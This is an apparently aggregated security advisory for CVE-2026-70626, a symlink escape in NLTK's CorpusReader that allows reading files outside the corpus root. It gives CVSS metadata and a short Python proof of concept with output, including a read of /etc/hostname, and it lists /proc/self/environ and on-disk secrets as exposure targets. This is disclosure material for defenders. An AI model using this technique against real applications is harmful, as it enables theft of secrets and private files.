VulnerabilityPublished 2 Sep 2026Updated 29 Oct 2026

CVE-2026-70626: NLTK · Symlink escape in CorpusReader allows arbitrary local file read outside the corpus root

Affects acronymSource GCVE Database

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Not known to be exploited · CVSS 6.2 Medium : upgrade to 2.0.0_3 when convenient.

Data as of 30 Oct 2026, 07:30 UTC

CVSS 3.1 base score

6.2Medium

How severe the flaw is on the 0–10 CVSS scale.

Patch: Available – fixed in 2.0.0_3

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Attack Vector: Local
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality: High
Integrity: None
Availability: None

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Local: The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or remotely (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., tricking a legitimate user into opening a malicious document).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without any interaction from any user.
Scope: Unchanged: An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Confidentiality: High: There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact.
Integrity: None: There is no loss of integrity within the impacted component.
Availability: None: There is no impact to availability within the impacted component.

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 2 Sep 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade acronym to 2.0.0_3.

Affected software

Product	Affected	Fixed in
Homebrewacronym`pkg:brew/acronym`Other threats	Affected >=2.0.0 <2.0.0_3	Fixed in 2.0.0_3

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary `nltk.corpus.reader.api.CorpusReader.open()` can be used to read files outside the intended corpus root via a symlink placed inside that root. Although NLTK blocks absolute paths and `..` traversal, the current boundary check is only lexical and does not account for symlink resolution. This leads to an arbitrary local file read / filesystem sandbox bypass for applications that rely on `CorpusReader` or `FileSystemPathPointer` to restrict file access. ### Details The vulnerable flow is: - [`nltk/corpus/reader/api.py:222`](/mnt/Data/my_brains/test/nltk/nltk/corpus/reader/api.py#L222) - `CorpusReader.open()` blocks absolute paths and `..`, then calls `self._root.join(file).open()` - [`nltk/data.py:398`](/mnt/Data/my_brains/test/nltk/nltk/data.py#L398) - `FileSystemPathPointer.join()` joins the requested file ID and checks whether the resulting path still appears to remain under the configured root The problem is that the check is based on the lexical path after `os.path.normpath()`, not on the resolved path after following symlinks. Current behavior: 1. `CorpusReader.open()` rejects: - absolute paths - `..` path traversal 2. `FileSystemPathPointer.join()` computes: - `joined = os.path.normpath(os.path.join(self._path, fileid))` - `root = os.path.normpath(self._path)` 3. It allows the access if `joined` starts with `root` This misses the case where a path stays inside the root lexically, but resolves outside the root via a symlink already present under the allowed directory. Example: ```text JOINED=/tmp/nltk-root/link/secret.txt REALPATH=/tmp/outside/secret.txt ``` `JOINED` still appears to be inside the root, but `REALPATH` is outside it. This is distinct from simple `../` traversal: - the file ID is not absolute - the file ID does not contain `..` - the escape only happens after filesystem resolution of a symlink under the allowed root ### PoC Reproduced in an isolated Docker sandbox using the local `nltk` clone. Minimal Python PoC: ```python import os import tempfile from nltk.corpus.reader.api import CorpusReader root = tempfile.mkdtemp(prefix="nltk-root-") outside_dir = tempfile.mkdtemp(prefix="nltk-out-") outside_file = os.path.join(outside_dir, "secret.txt") with open(outside_file, "w") as f: f.write("secret-data") os.symlink(outside_dir, os.path.join(root, "link")) corpus = CorpusReader(root, ["link/secret.txt"]) with corpus.open("link/secret.txt") as f: print(f.read()) ``` Observed result: ```text secret-data ``` Docker re-test output: ```text ROOT=/tmp/nltk-root-jjxay3if OUTSIDE_DIR=/tmp/nltk-out-1kef36e0 JOINED=/tmp/nltk-root-jjxay3if/link/secret.txt REALPATH=/tmp/nltk-out-1kef36e0/secret.txt READ_OK=secret-data INSIDE_ROOT=True REAL_INSIDE_ROOT=False ``` Additional impact validation using a system file: ```text ROOT=/tmp/nltk-root-_h5x4m19 JOINED=/tmp/nltk-root-_h5x4m19/hostfile REALPATH=/etc/hostname HOSTNAME_READ=48dafb244af3 INSIDE_ROOT=True REAL_INSIDE_ROOT=False ``` This shows that the issue is not limited to attacker-created files outside the root; it can also read existing system files that are readable by the application user. ### Impact This is an arbitrary local file read / symlink escape issue. Who is impacted: - applications that accept attacker-controlled corpus directories, extracted datasets, or package contents - applications that rely on NLTK corpus readers as a trust boundary for file access - any deployment where an attacker can place or influence files inside the allowed corpus root Practical impact includes disclosure of: - application secrets stored on disk - local configuration files - private datasets - process-exposed files such as `/proc/self/environ` - system files readable by the running user The issue is best described as a filesystem sandbox bypass caused by improper link resolution before file access.

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